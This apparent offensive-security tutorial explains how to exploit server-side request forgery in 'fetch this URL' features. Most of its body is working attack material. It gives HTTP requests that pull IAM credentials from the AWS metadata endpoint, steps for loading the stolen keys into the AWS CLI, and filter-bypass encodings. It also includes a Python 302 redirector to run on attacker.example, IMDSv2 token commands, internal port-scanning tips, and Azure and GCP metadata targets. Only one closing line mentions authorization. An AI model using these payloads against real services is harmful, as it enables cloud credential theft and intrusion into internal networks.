SSRF in 2025: From Image Proxies to Cloud Metadata Theft
Server-side request forgery turns a harmless URL fetch into a pivot against internal services and cloud metadata endpoints. Here is how it escalates and how to stop it.
Server-side request forgery turns any "fetch this URL for me" feature into a request engine that points wherever you say — including a cloud instance's metadata service, where one redirect can become full credential theft. This is how to find the fetch primitives and prove the escalation to IAM credentials.
Finding it
Hunt for every place the server makes an outbound request on your behalf. The high-value sinks:
- Image proxies, avatar-by-URL, and thumbnail generators.
- Webhook registration and "test webhook" buttons.
- PDF/HTML renderers and link-preview / unfurl features.
- Import-from-URL, RSS readers, and SVG/XML parsers (XXE-to-SSRF).
- Any JSON field literally named
url,callback,image_url,dest,webhook.
The fastest detection is out-of-band. Point the parameter at a Collaborator/Interactsh host and watch for a DNS or HTTP hit, which proves server-side fetching even when no body returns:
POST /api/thumbnail HTTP/1.1
Host: app.example.com
Content-Type: application/json
{"image_url": "http://abcd1234.oast.fun/ssrf-probe"}
A pingback to your listener confirms blind SSRF. From there, pivot inward. Watch the type of callback too: a DNS lookup with no follow-up HTTP request usually means the fetcher resolves the host but a downstream filter blocks the connection, whereas a full HTTP hit means the request leaves the box — the latter is what you need for metadata theft. gopherus and SSRFmap automate the pivot once a parameter is confirmed:
SSRFmap -r request.txt -p image_url -m readfiles,portscan,aws
Proof of concept
The classic full-read payload aims straight at the metadata endpoint. On a token-less (IMDSv1) instance this returns live credentials:
POST /api/thumbnail HTTP/1.1
Host: app.example.com
Content-Type: application/json
{"image_url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}
Read the role name from the response, then fetch the credential document at .../security-credentials/<role-name>. Success looks like:
{
"AccessKeyId": "ASIA...",
"SecretAccessKey": "wJalr...",
"Token": "IQoJb3JpZ2luX2VjE...",
"Expiration": "2025-07-03T18:00:00Z"
}
Load those into a profile and confirm you are authenticated as the workload:
export AWS_ACCESS_KEY_ID=ASIA...
export AWS_SECRET_ACCESS_KEY=wJalr...
export AWS_SESSION_TOKEN=IQoJ...
aws sts get-caller-identity # prints the assumed role ARN == proof
When a naive filter blocks 169.254.169.254, the address space has many spellings. Cycle through these until one is fetched:
- Decimal:
http://2130706433/latest/meta-data/ - IPv6-mapped:
http://[::ffff:169.254.169.254]/ - Trailing-dot / mixed case host that resolves to the link-local range.
- An allow-listed host that 302-redirects onward to the metadata IP.
- DNS rebinding: a name that resolves public on the first lookup and internal on the second.
For redirect-based bypass, host your own endpoint that answers 302 Location: http://169.254.169.254/... and submit its URL; if the fetcher follows redirects, the metadata response comes back. A minimal redirector makes this repeatable:
# Tiny SSRF redirector — submit http://attacker.example:8000/ as the target
from http.server import BaseHTTPRequestHandler, HTTPServer
class R(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(302)
self.send_header("Location",
"http://169.254.169.254/latest/meta-data/iam/security-credentials/")
self.end_headers()
HTTPServer(("0.0.0.0", 8000), R).serve_forever()
Going further
If the instance enforces IMDSv2, a plain GET returns 401 and you need the token handshake — which most SSRF primitives cannot perform because it requires a PUT with a custom header:
TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" \
-H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
"http://169.254.169.254/latest/meta-data/iam/security-credentials/"
Note in your report whether the primitive supports arbitrary methods/headers; a GET-only image proxy against IMDSv2 is a non-finding, while a full-request webhook tester may still reach it.
Even pure blind SSRF is worth escalating. Map internal services by spraying common ports (http://127.0.0.1:8500/, :9200, :6379, :8080/actuator) and timing the responses — an open internal port responds noticeably faster than a filtered one. Hitting unauthenticated internal admin panels or cloud APIs (GCP metadata.google.internal, Azure 169.254.169.254/metadata/instance?api-version=2021-02-01 with the required Metadata: true header) often turns a "can't see the response" bug into a real breach. Test only systems you are authorized to assess.